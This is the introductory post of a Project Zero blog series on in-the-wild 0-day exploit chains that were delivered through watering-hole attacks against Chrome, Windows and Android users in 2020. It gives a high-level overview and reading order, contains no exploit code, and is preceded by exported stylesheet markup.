@import url('');.lst-kix_sopbraepakx4-2>li{counter-increment:lst-ctn-kix_sopbraepakx4-2}ol.lst-kix_sopbraepakx4-2.start{counter-reset:lst-ctn-kix_sopbraepakx4-2 0}ol.lst-kix_sopbraepakx4-5.start{counter-reset:lst-ctn-kix_sopbraepakx4-5 0}.lst-kix_sopbraepakx4-1>li:before{content:"" counter(lst-ctn-kix_sopbraepakx4-1,lower-latin) ") "}.lst-kix_sopbraepakx4-1>li{counter-increment:lst-ctn-kix_sopbraepakx4-1}.lst-kix_sopbraepakx4-0>li:before{content:"" counter(lst-ctn-kix_sopbraepakx4-0,decimal) ") "}.lst-kix_sopbraepakx4-4>li{counter-increment:lst-ctn-kix_sopbraepakx4-4}ul.lst-kix_hhz4hdoozixg-5{list-style-type:none}.lst-kix_psw20g7e9rvz-5>li:before{content:"\0025a0 "}ul.lst-kix_hhz4hdoozixg-6{list-style-type:none}ul.lst-kix_hhz4hdoozixg-7{list-style-type:none}ul.lst-kix_hhz4hdoozixg-8{list-style-type:none}.lst-kix_psw20g7e9rvz-4>li:before{content:"\0025cb "}.lst-kix_psw20g7e9rvz-8>li:before{content:"\0025a0 "}ul.lst-kix_hhz4hdoozixg-0{list-style-type:none}ul.lst-kix_hhz4hdoozixg-1{list-style-type:none}.lst-kix_psw20g7e9rvz-7>li:before{content:"\0025cb "}ul.lst-kix_hhz4hdoozixg-2{list-style-type:none}ul.lst-kix_hhz4hdoozixg-3{list-style-type:none}.lst-kix_psw20g7e9rvz-6>li:before{content:"\0025cf "}ul.lst-kix_hhz4hdoozixg-4{list-style-type:none}.lst-kix_sopbraepakx4-5>li{counter-increment:lst-ctn-kix_sopbraepakx4-5}ul.lst-kix_psw20g7e9rvz-2{list-style-type:none}ul.lst-kix_psw20g7e9rvz-1{list-style-type:none}ul.lst-kix_psw20g7e9rvz-4{list-style-type:none}ul.lst-kix_psw20g7e9rvz-3{list-style-type:none}ul.lst-kix_psw20g7e9rvz-6{list-style-type:none}ul.lst-kix_psw20g7e9rvz-5{list-style-type:none}ul.lst-kix_psw20g7e9rvz-8{list-style-type:none}ul.lst-kix_psw20g7e9rvz-7{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-2{list-style-type:none}.lst-kix_hhz4hdoozixg-1>li:before{content:"\0025cb "}.lst-kix_hhz4hdoozixg-2>li:before{content:"\0025a0 "}ol.lst-kix_sopbraepakx4-8.start{counter-reset:lst-ctn-kix_sopbraepakx4-8 0}ul.lst-kix_cxqg2pnbzu0i-3{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-0{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-1{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-6{list-style-type:none}.lst-kix_hhz4hdoozixg-0>li:before{content:"\0025cf "}.lst-kix_hhz4hdoozixg-4>li:before{content:"\0025cb "}ul.lst-kix_cxqg2pnbzu0i-7{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-4{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-5{list-style-type:none}ul.lst-kix_cxqg2pnbzu0i-8{list-style-type:none}ol.lst-kix_sopbraepakx4-0.start{counter-reset:lst-ctn-kix_sopbraepakx4-0 0}.lst-kix_hhz4hdoozixg-3>li:before{content:"\0025cf "}.lst-kix_sopbraepakx4-2>li:before{content:"" counter(lst-ctn-kix_sopbraepakx4-2,lower-roman) ") "}.lst-kix_sopbraepakx4-3>li:before{content:"(" counter(lst-ctn-kix_sopbraepakx4-3,decimal) ") "}.lst-kix_sopbraepakx4-4>li:before{content:"(" counter(lst-ctn-kix_sopbraepakx4-4,lower-latin) ") "}.lst-kix_sopbraepakx4-5>li:before{content:"(" counter(lst-ctn-kix_sopbraepakx4-5,lower-roman) ") "}.lst-kix_sopbraepakx4-7>li:before{content:"" counter(lst-ctn-kix_sopbraepakx4-7,lower-latin) ". "}ol.lst-kix_sopbraepakx4-7.start{counter-reset:lst-ctn-kix_sopbraepakx4-7 0}.lst-kix_sopbraepakx4-6>li:before{content:"" counter(lst-ctn-kix_sopbraepakx4-6,decimal) ". "}ul.lst-kix_psw20g7e9rvz-0{list-style-type:none}.lst-kix_sopbraepakx4-8>li:before{content:"" counter(lst-ctn-kix_sopbraepakx4-8,lower-roman) ". "}ol.lst-kix_sopbraepakx4-1.start{counter-reset:lst-ctn-kix_sopbraepakx4-1 0}.lst-kix_cxqg2pnbzu0i-1>li:before{content:"\0025cb "}.lst-kix_sopbraepakx4-8>li{counter-increment:lst-ctn-kix_sopbraepakx4-8}.lst-kix_cxqg2pnbzu0i-2>li:before{content:"\0025a0 "}ol.lst-kix_sopbraepakx4-6.start{counter-reset:lst-ctn-kix_sopbraepakx4-6 0}.lst-kix_cxqg2pnbzu0i-5>li:before{content:"\0025a0 "}.lst-kix_cxqg2pnbzu0i-3>li:before{content:"\0025cf "}.lst-kix_cxqg2pnbzu0i-4>li:before{content:"\0025cb "}.lst-kix_cxqg2pnbzu0i-6>li:before{content:"\0025cf "}ul.lst-kix_z6t4dknet5lq-3{list-style-type:none}ul.lst-kix_z6t4dknet5lq-4{list-style-type:none}ul.lst-kix_z6t4dknet5lq-1{list-style-type:none}ul.lst-kix_z6t4dknet5lq-2{list-style-type:none}ul.lst-kix_z6t4dknet5lq-7{list-style-type:none}.lst-kix_cxqg2pnbzu0i-7>li:before{content:"\0025cb "}ul.lst-kix_z6t4dknet5lq-8{list-style-type:none}ul.lst-kix_z6t4dknet5lq-5{list-style-type:none}.lst-kix_cxqg2pnbzu0i-8>li:before{content:"\0025a0 "}ul.lst-kix_z6t4dknet5lq-6{list-style-type:none}.lst-kix_hhz4hdoozixg-8>li:before{content:"\0025a0 "}ul.lst-kix_z6t4dknet5lq-0{list-style-type:none}.lst-kix_hhz4hdoozixg-5>li:before{content:"\0025a0 "}.lst-kix_hhz4hdoozixg-6>li:before{content:"\0025cf "}.lst-kix_hhz4hdoozixg-7>li:before{content:"\0025cb "}ol.lst-kix_sopbraepakx4-3.start{counter-reset:lst-ctn-kix_sopbraepakx4-3 0}.lst-kix_sopbraepakx4-7>li{counter-increment:lst-ctn-kix_sopbraepakx4-7}.lst-kix_cxqg2pnbzu0i-0>li:before{content:"\0025cf "}ol.lst-kix_sopbraepakx4-2{list-style-type:none}ol.lst-kix_sopbraepakx4-1{list-style-type:none}ol.lst-kix_sopbraepakx4-4{list-style-type:none}ol.lst-kix_sopbraepakx4-3{list-style-type:none}.lst-kix_z6t4dknet5lq-7>li:before{content:"\0025cb "}ol.lst-kix_sopbraepakx4-6{list-style-type:none}ol.lst-kix_sopbraepakx4-5{list-style-type:none}.lst-kix_z6t4dknet5lq-6>li:before{content:"\0025cf "}ol.lst-kix_sopbraepakx4-4.start{counter-reset:lst-ctn-kix_sopbraepakx4-4 0}ol.lst-kix_sopbraepakx4-8{list-style-type:none}.lst-kix_psw20g7e9rvz-0>li:before{content:"\0025cf "}ol.lst-kix_sopbraepakx4-7{list-style-type:none}.lst-kix_psw20g7e9rvz-1>li:before{content:"\0025cb "}.lst-kix_psw20g7e9rvz-3>li:before{content:"\0025cf "}.lst-kix_z6t4dknet5lq-8>li:before{content:"\0025a0 "}ol.lst-kix_sopbraepakx4-0{list-style-type:none}.lst-kix_psw20g7e9rvz-2>li:before{content:"\0025a0 "}.lst-kix_z6t4dknet5lq-1>li:before{content:"\0025cb "}.lst-kix_z6t4dknet5lq-3>li:before{content:"\0025cf "}.lst-kix_z6t4dknet5lq-2>li:before{content:"\0025a0 "}.lst-kix_z6t4dknet5lq-5>li:before{content:"\0025a0 "}.lst-kix_z6t4dknet5lq-4>li:before{content:"\0025cb "}{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_z6t4dknet5lq-0>li:before{content:"\0025cf "}.lst-kix_sopbraepakx4-0>li{counter-increment:lst-ctn-kix_sopbraepakx4-0}.lst-kix_sopbraepakx4-6>li{counter-increment:lst-ctn-kix_sopbraepakx4-6}.lst-kix_sopbraepakx4-3>li{counter-increment:lst-ctn-kix_sopbraepakx4-3}ol{margin:0;padding:0}table td,table th{padding:0}.c1{background-color:#ffffff;color:#545454;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c12{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c0{padding-top:0pt;padding-bottom:0pt;line-height:1.25;orphans:2;widows:2;text-align:left}.c8{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c3{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.c10{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.c2{background-color:#ffffff;font-family:"Arial";font-weight:400}.c6{margin-left:36pt;padding-left:0pt}.c5{color:inherit;text-decoration:inherit}.c11{border:1px solid black;margin:5px}.c7{padding:0;margin:0}.c9{font-style:italic}.c4{height:11pt}.title{padding-top:0pt;color:#4285f4;font-size:24pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#999999;font-size:11pt;padding-bottom:10pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}li{color:#545454;font-size:11pt;font-family:"Google Sans"}p{margin:0;color:#545454;font-size:11pt;font-family:"Google Sans"}h1{padding-top:10pt;color:#545454;font-weight:700;font-size:18pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:10pt;color:#545454;font-size:14pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:8pt;color:#545454;font-size:13pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:8pt;color:#666666;font-weight:700;font-size:12pt;padding-bottom:0pt;font-family:"Google Sans";line-height:1.25;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:8pt;-webkit-text-decoration-skip:none;color:#666666;text-decoration:underline;font-size:12pt;padding-bottom:0pt;line-height:1.25;page-break-after:avoid;text-decoration-skip-ink:none;font-family:"Google Sans";orphans:2;widows:2;text-align:left}h6{padding-top:8pt;color:#666666;font-size:11pt;padding-bottom:0pt;font-family:"Trebuchet MS";line-height:1.25;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}

This is part 1 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, head to the bottom of this post.

At Project Zero we often refer to our goal simply as “make 0-day hard”. Members of the team approach this challenge mainly through the lens of offensive security research. And while we experiment a lot with new targets and methodologies in order to remain at the forefront of the field, it is important that the team doesn’t stray too far from the current state of the art. One of our efforts in this regard is the tracking of publicly known cases of zero-day vulnerabilities. We use this information to guide the research. Unfortunately, public 0-day reports rarely include captured exploits, which could provide invaluable insight into exploitation techniques and design decisions made by real-world attackers. In addition, we believe there to be a gap in the security community’s ability to detect 0-day exploits.

Therefore, Project Zero has recently launched our own initiative aimed at researching new ways to detect 0-day exploits in the wild. Through partnering with the Google Threat Analysis Group (TAG), one of the first results of this initiative was the discovery of a watering hole attack in Q1 2020 performed by a highly sophisticated actor.

We discovered two exploit servers delivering different exploit chains via watering hole attacks. One server targeted Windows users, the other targeted Android. Both the Windows and the Android servers used Chrome exploits for the initial remote code execution. The exploits for Chrome and Windows included 0-days. For Android, the exploit chains used publicly known n-day exploits. Based on the actor's sophistication, we think it's likely that they had access to Android 0-days, but we didn't discover any in our analysis.

From the exploit servers, we have extracted:

  • Renderer exploits for four bugs in Chrome, one of which was still a 0-day at the time of the discovery.
  • Two sandbox escape exploits abusing three 0-day vulnerabilities in Windows.
  • A “privilege escalation kit” composed of publicly known n-day exploits for older versions of Android.

The four 0-days discovered in these chains have been fixed by the appropriate vendors:

  • CVE-2020-6418 - Chrome Vulnerability in TurboFan (fixed February 2020)

We understand this attacker to be operating a complex targeting infrastructure, though it didn't seem to be used every time. In some cases, the attackers used an initial renderer exploit to develop detailed fingerprints of the users from inside the sandbox. In these cases, the attacker took a slower approach: sending back dozens of parameters from the end users device, before deciding whether or not to continue with further exploitation and use a sandbox escape. In other cases, the attacker would choose to fully exploit a system straight away (or not attempt any exploitation at all). In the time we had available before the servers were taken down, we were unable to determine what parameters determined the "fast" or "slow" exploitation paths.

The Project Zero team came together and spent many months analyzing in detail each part of the collected chains. What did we learn? These exploit chains are designed for efficiency & flexibility through their modularity. They are well-engineered, complex code with a variety of novel exploitation methods, mature logging, sophisticated and calculated post-exploitation techniques, and high volumes of anti-analysis and targeting checks. We believe that teams of experts have designed and developed these exploit chains. We hope this blog post series provides others with an in-depth look at exploitation from a real world, mature, and presumably well-resourced actor.

The posts in this series share the technical details of different portions of the exploit chain, largely focused on what our team found most interesting. We include:

  • Detailed analysis of the vulnerabilities being exploited and each of the different exploit techniques,
  • A deep look into the bug class of one of the Chrome exploits, and
  • An in-depth teardown of the Android post-exploitation code.

In addition, we are posting root cause analyses for each of the four 0-days discovered as a part of these exploit chains.

Exploitation aside, the modularity of payloads, interchangeable exploitation chains, logging, targeting and maturity of this actor's operation set these apart. We hope that by sharing this information publicly, we are continuing to close the knowledge gap between private exploitation (what well resourced exploitation teams are doing in the real world) and what is publicly known.

We recommend reading the posts in the following order:

  1. Introduction (this post)
  2. Chrome: Infinity Bug
  3. Chrome Exploits
  4. Android Exploits
  5. Android Post-Exploitation
  6. Windows Exploits

This is part 1 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 2: Chrome Infinity Bug.

Kategorie: Hacking & Security